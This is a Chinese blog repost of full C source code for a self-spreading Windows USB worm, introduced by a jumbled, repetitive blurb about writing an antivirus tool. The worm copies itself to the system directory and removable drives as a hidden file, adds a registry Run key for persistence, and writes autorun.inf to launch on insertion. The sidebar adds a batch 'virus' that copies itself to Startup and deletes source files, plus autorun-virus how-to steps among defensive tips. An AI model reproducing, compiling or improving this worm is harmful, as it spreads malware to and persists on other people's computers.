基于U盘传播的简单病毒

给U盘编写杀毒程序:实现病毒扫描和清除功能 接下来,我们将定义一个函数,用于扫描U盘中的病毒。该函数将接受一个U盘路径作为输入,并遍历U盘中的所有文件和文件夹。接下来,我们将定义一个函数,用于扫描U盘中的病毒。因此,我们的目标是编写一个程序,可以检测和清除U盘中的病毒。因此,我们的目标是编写一个程序,可以检测和清除U盘中的病毒。接下来,我们将定义一个函数,用于清除U盘中的病毒。接下来,我们将定义一个函数,用于清除U盘中的病毒。我们将提示用户输入U盘路径,并根据用户的选择执行相应的操作。我们将提示用户输入U盘路径,并根据用户的选择执行相应的操作。 阅读详情
原创作者:nevergone
信息来源: www.retcvc.com
原始连接: http://www.retcvc.com/cgi-bin/topic.cgi?forum=4&topic=968&show=0

#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>

#define TIMER 1//计时器
#define WM_FROMC WM_USER+0     //自定义消息 从C盘中启动
#define WM_FROMU WM_USER+1   //自定义消息 从U盘中启动

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程


//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动

//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="dll.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
            PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("virus");
HWND           hwnd;
MSG           msg;
WNDCLASS       wndclass;

wndclass.style         =0;
wndclass.lpfnWndProc     =WndProc;
wndclass.cbClsExtra     =0;
wndclass.cbWndExtra     =0;
wndclass.hInstance     =hInstance;
wndclass.hIcon         =0;
wndclass.hCursor       =0;
wndclass.hbrBackground   =0;
wndclass.lpszMenuName   =NULL;
wndclass.lpszClassName   =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
        szAppName, MB_IConERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
            WS_DISABLED,
            0, 0,
            0, 0,
            NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE:       //处理一些要下面要用到的全局变量
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER:         //timer message
if(szExePath[0]=='C')
{
if(FindU(U))
{
SendMessage(hwnd,WM_FROMC,0,0);
}
}
else
SendMessage(hwnd,WM_FROMU,0,0);
return 0;
case WM_FROMC:
CopyToUAndSet();
return 0;
case WM_FROMU:
CopyToSysAndSet(hwnd);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}

BOOL FindU(TCHAR *u)
{
u[1]=':';
for(char d='C';d<='Z';d++)//遍历C到Z
  {
    u[0]=d;
    if(GetDriveType(u)==DRIVE_REMOVABLE)//判断是不是可移动的盘
        return TRUE;
}
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"//");
lstrcat(szPath,szExeName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);结束自己
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
BOOL RegAutoRun(TCHAR *path)//修改注册表
{
HKEY hkey;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE//MICROSOFT//Windows//CurrentVersion//Run",
&hkey)==ERROR_SUCCESS)
{
RegSetvalueEx(hkey,szExeName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"//");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"//");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open=dll.exe e"<<endl;
fout<<"shellexecute=dll.exe e"<<endl;
fout<<"shell//Auto//command=dll.exe e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szExeName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
}

第一次写病毒.没经验.
在WinMain函数里,不知道有没有更好的方法创建一个隐藏窗口
程序的大致流程如下:
首先得到一些全局变量的值:系统路径,程序自身的路径.启动定时器
判断自己程序的目录
如果是在C盘,则监测有没有U盘出现,如果有的,检测U盘中是否有dll.exe文件.没有就复制自己到U盘.设置文件的属性为隐藏和系统
如果是在不是在C盘启动,则复制自己到U盘,修改注册表实现自启动,并设置文件的属性为隐藏和系统.
没有发作的代码

流行的RavMonE大概有3M左右,我在VC6下编译release 版,只有48KB.
 
编写程序 u盘防病毒 编写程序 防u盘病毒 源码 u盘中毒原理 自己编写代码防止中毒 立即下载

相关推荐

手把手教你用MaxEnt+ArcGIS玩转物种分布预测

本文详细介绍了如何利用MaxEnt最大熵模型与ArcGIS软件进行物种分布预测。通过实战案例,从数据收集、环境变量处理、模型参数设置到结果可视化分析,手把手教你掌握生态位模型的核心流程。结合SDM toolbox插件,可高效完成数据预处理与高级空间分析,是生态学与保护生物学研究的实用指南。

weixin_29309475的博客 562

网络信息安全-U盘病毒编写

U盘病毒编写 什么是U盘病毒?百度百科:U盘病毒顾名思义就是通过U盘传播的病毒。自从发现U盘autorun.inf漏洞之后,U盘病毒的数量与日俱增。u盘病毒并不是只存在于u盘上,中毒的电脑每个分区下面同样有u盘病毒,电脑和u盘交叉传播。 autorun.inf是什么东西?接着百度下吧! autorun.inf是我们电脑使用中比较常见的文件之一 ,其作用是允许在双击磁盘时自动运行指定的某个文件

qq_32587949的博客 9507

MuJoCo柔性体仿真实战:从FlexComp建模到自定义模型导入

柔性体仿真是机器人交互研究中不可或缺的一环,MuJoCo作为高精度物理求解器,凭借高效的求解速度与批量并行能力,成为强化学习与软体抓取任务的热门选择。其FlexComp机制将连续材料离散为粒子-约束系统,以较低建模成本模拟布料、软组织等形变行为,相比Gazebo等平台更具实时性与可扩展性。技术价值体现在自定义柔性体建模与导入流程中:通过XML配置网格密度、间距与材料参数,即可生成贴合任务需求的软体垫子或硅胶抓手。在柔性抓取、颗粒抓手、医疗仿真等场景中,该方法能快速构建可训练的环境。围绕环境搭建、FlexCo

weixin_29045585的博客 163

如何制作U盘病毒

第三步:保存文件至U盘,修改文件名,为AutoRun(注意大小写,必须修改为我这个文件名),然后再修改后缀为.inf,但它会提示你需管理员才可更改,直接点继续即可。但可能杀毒软件会将它杀掉,你可以选择恢复。注:其中的1.exe可以换成你自己做的病毒,但病毒和这个文件都要在同一个盘里。第四步:在U盘中添加写好的病毒,隐藏AutoRun.inf和病毒即可。第一步:准备一个U盘,在U盘中新建文本文档。第二步:再其中输入以下代码(注意大小写)。

2301_76479167的博客 3625

在Jetson orin NX上安装部署Yolov8

1、环境准备与依赖安装2、安装PyTorch和Torchvision:从NVIDIA官方论坛或开发者下载中心获取与你的JetPack版本兼容的PyTorch wheel文件。例如,对于JetPack 5.1.2,可以安装PyTorch v2.1.0 8。:需要编译安装与PyTorch版本匹配的Torchvision。这里自己编译没有成功,下载了一个现成的可以用torchvision-0.16.2+c6f3977-cp38-cp38-linux_aarch64.whl。

xxxcccvvvbbb的博客 777

图像处理(12)--图像各种噪声及消除方法

文章目录结构1.什么是图像噪声2. 图像噪声来源3. 噪声分类及其消除方法3.1 高斯噪声及其消除方式3.1.1 如何确定一种噪声是高斯噪声3.1.2 高斯滤波消除高斯噪声3.1.3 高斯函数的重要性质3.2 瑞利噪声及其消除方式3.3 伽马(爱尔兰)噪声及其消除方式3.4 指数分布噪声及其消除方式3.5 均匀噪声及其消除方式3.6 脉冲(椒盐)噪声及其消除方式 1.什么是图像噪声 图像噪声是指...

ShaneHolmes 11万+

十行代码--用python写一个USB病毒

其实,标题这么起只是为了吸引大家注意,这就是一个小程序,也谈不上病毒。我更想通过这个例子,展示python对于文件处理的强大能力,引发大家的学习热情。以上实现都是基于macos,linux应该一样,windows稍加修改也可以成功。

Karka_的博客 1030

推荐11个顶级的Claude Code Skills

ClaudeCode的Skills系统为程序员提供了11个强大的AI辅助工具,包括代码审查、重构建议、单元测试生成、API文档自动生成、性能分析、安全扫描、数据库迁移脚本生成、CI/CD配置、依赖管理、ER图生成和日志分析等功能。这些"技能包"可大幅提升开发效率,从代码质量到协作沟通全方位优化工作流程。用户可根据需求选择2-3个核心功能开始尝试,熟练后还可自定义Skills。该系统需要配合Anthropic的API使用,建议先在小型项目测试再应用于核心业务。

分享AI、区块链技术及应用,未来已来 1855

10行Python代码写1个USB病毒!把室友的小电影都黑掉

如果目标U盘中有很多电影,音乐,这些我们并不需要的文件,我们的程序就应该能跳过它们,仅仅选择一些重要的比如.docx比如.ppt文件,或者仅仅复制最近修改过的那些文件,或者排除所有大小大于5M的文件。首先我们打开电脑终端,进入/Volumes目录,这时候插入U盘,可以发现它被挂载在了这个目录之下,也就是说,我们只要在固定时间扫描这个目录,当这个目录有新文件夹出现的时候,很可能有U盘被插入了。好了,我们现在需要递归usb文件夹,找到所有的file,查看大小,如果小于,比如3M,就拷贝进home,大于就舍去。

2401_89191792的博客 324

详细解读经典跨模态对齐技术Q-Former代码

介绍BLIP2的博客层出不穷,介绍Q-Former的博客也不少,但是详细解读Q-Former代码的博客很少。这篇博客希望以代码为基础,讲明白Q-Former的原理和核心思想,并详细解读一些值得注意的细节。希望读者们能从这一经典技术中朝花夕拾,得到启发。

沉迷单车的追风少年 2465

408 | 408常用计算公式与方法 —— 计组篇 汇总

408常用计算公式与方法 —— 计算机组成原理篇 汇总

"You are worthy! You can do it!" 4660

一个基于U盘传播的简单病毒代码

 #include #include #include #include #define TIMER 1//计时器#define WM_FROMC WM_USER+0   //自定义消息 从C盘中启动#define WM_FROMU WM_USER+1   //自定义消息 从U盘中启动//functionLRESULT CALLBACK WndProc(HWND, UINT, WPAR

761

基于分数阶的图像边缘细节检测——边缘计算

在图像处理中,我们可以使用分数阶导数运算器来计算图像的分数阶梯度,从而得到更精确的边缘信息。通过使用基于分数阶的图像边缘细节检测方法,我们可以更准确地捕捉图像中的边缘细节信息。在这篇文章中,我们将介绍一种基于分数阶的方法来进行图像边缘细节检测,并提供相应的源代码实现。需要注意的是,以上提供的代码示例仅用于演示基于分数阶的图像边缘细节检测方法的实现。然后,我们读取了待处理的图像,并进行了预处理,如高斯模糊,以减少噪声的影响。最后,我们通过设置一个阈值,将梯度图像转化为二值化的边缘图像,并将结果显示出来。

GudcSql的博客 405

如何防止U盘中病毒

1、打开U盘,在U盘中新建一个文本文档 2、点击重命名,输入:autorun.inf,点击确定 3、右键文本文档,选择属性,点击隐藏和只读,点击应用,就可以了 原理:如果病毒想要入侵我们的U盘时,它首先会在我们的U盘中创建一个这样的文件,通过这个文件把病毒植入进去。 然而U盘只能存在一个这样的文件,咱们走BD的路线,让BD无路可走(病毒) ...

qq_45255414的博客 3569

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

如何让U盘对病毒免疫

如何让U&lt;wbr&gt;盘对病毒免疫&lt;br&gt; 学校内病毒大多通过&lt;span&gt;U&lt;/span&gt;&lt;wbr&gt;盘传播,特别是“裸奔”机,尤其容易中&lt;span&gt;U&lt;/span&gt;&lt;wbr&gt;盘病毒。学校的各个打印室的电脑几乎都有&lt;span&gt;U&lt;/span&a

tulunta 158

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

U盘防毒(转)

首先在“运行”里面输入cmd,打开一个命令行窗口,转到U盘的盘符,然后执行如下命令:  mkdir autorun.inf  cd autorun.inf  mkdir a...\\  这样就可以起到U盘病毒免疫的功能了。  其原理也很简单,通过建立这样一个非常规,且无法删除的autorun.inf目录,使得病毒自己无法创建这样的文件来引发U盘病毒   原文:http://blog.163....

iteye_13695的博客 224

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

android实时检测u盘插入_怎么鉴定u盘是否中病毒 鉴定u盘是否中病毒方法【详细步骤】...

  u盘对于从事IT行业的人已经不再陌生,它是我们进行文件传输与存储随身携带的重要工具。使用u盘在工作和生活中传输文件都是一种较为轻便的方式,正是因为它的方便快捷,使得它被大众所接受。但是也为病毒的传播建立的一个很大的平台,u盘中毒很有可能会将病毒携带入电脑中,那么给如何判断u盘是否中毒呢?今天IT百科就教大家一个简单的小技巧来判断u盘是否中毒。  1、将u盘插入到电脑的usb插口,等待u盘盘符 ...

weixin_36461619的博客 754

u盘防止autorun.inf

U盘对病毒的传播要借助autorun.inf文件。病毒首先把自身复制到u盘,然后创建一个autorun.inf,当你在插入U盘或者双击u盘时,autorun.inf中的设置会运行u盘中的病毒.我们只要可以阻止autorun.inf文件的创建,那么U盘上就算有病毒也只能躺着睡大觉了。大家可能也想到这个,但是不管给autorun.inf设置了什么属性,病毒都会更改它。我提到的方法...

weixin_33708432的博客 157

一个毫无恶意的病毒源程序,让大家了解病毒,防范病毒

只有自我隐藏保护和传染的功能.除了要用资源管理器打开U盘外,不会给你带来任何不便.还能防止其它autorun病毒传染.因此,本"病毒"毫无恶意,只是写出来让大家了解病毒,防范病毒.   只要在窗体上放上timer控件.复制代

szlemail的专栏 1719

让你U盘永远不中毒

我们使用的U盘大部分都有毒,个人有个绝好的方法让你的U盘永远不中毒。希望对大家有好处。方法如下: 在你的U盘中建个文件夹,命名为autorun.inf,里面什么都不放。如果你的U盘无法完成重命名,这说明你的U盘已中毒,这时,个人建议你先备份重要文件,再格式化。 原理是:大多数病毒是先建立autorun.inf再键入内容,病毒在进入C盘时就是通过这个文件夹里内...

weixin_34185364的博客 123

如何快速设置让U盘带防毒功能

如何快速设置让U盘带防毒功能?U盘防毒是一个老生常谈的问题,对经常使用U盘的朋友来说也是很有必要了解。等到发现U盘中毒之后再去找U盘杀毒工具解决,还不如防范于未然。这里我们来说一个小技巧可以让U盘带防毒功能的设置!   设置的方法简单的能让你怀疑是否有用,下面来看下方法。   打开“我的电脑”,找到你的U盘驱动器。双击打开。在U盘根目录点击鼠标右键,新建一个名为autorun.inf文件夹。

upzxt123的博客 1万+

5行代码!完成bat病毒制作!!!

这个病毒的功能是删除当前目录下.cpp类型的代码。 copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" copy %0 d:\ copy %0 e:\ del *.cpp attrib +h %0 1.病毒启动测试: copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Start

老张的博客 2万+

让U盘永不中毒的解决办法

一、背景:   在学校上课的时候,有个老师很潇洒的拿着一个U盘就来教室上课了。然后快上课的时候在电脑上准备播放课件。注意,这一瞬间其妙的事情发生了,课件因为他的U盘中病毒了,打不开了,老师当时笑了。后来又去拷贝一份,回来还是不行,就是不知道怎么回事,我记得以前只要把我的U盘插到学校教室里的电脑上,一定中毒,就知道学校电脑年久失修,病毒太疯狂了。老师当时一点招都没有,后来我默默的贡献出了我的已经被...

weixin_34198583的博客 273

U盘经常中毒?一招教你制作安全无毒的U盘!

Windows 系统有一项“自动播放”功能,autorun病毒就是利用了这个功能而进行传播。 有安全防护的系统还好说,查杀以后还能继续用,没防护的基本上连带的本机也遭殃。虽然没啥太大的破坏力,但遇上了确实挺烦人的。为了预防autorun病毒,我们就需要为电脑建立一个不可删除的autorun...

chenxu7709的博客 438
上一篇: Six Rootkit Detectors Protect Your System
下一篇: 以毒传毒思想与Win32.Everest源码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值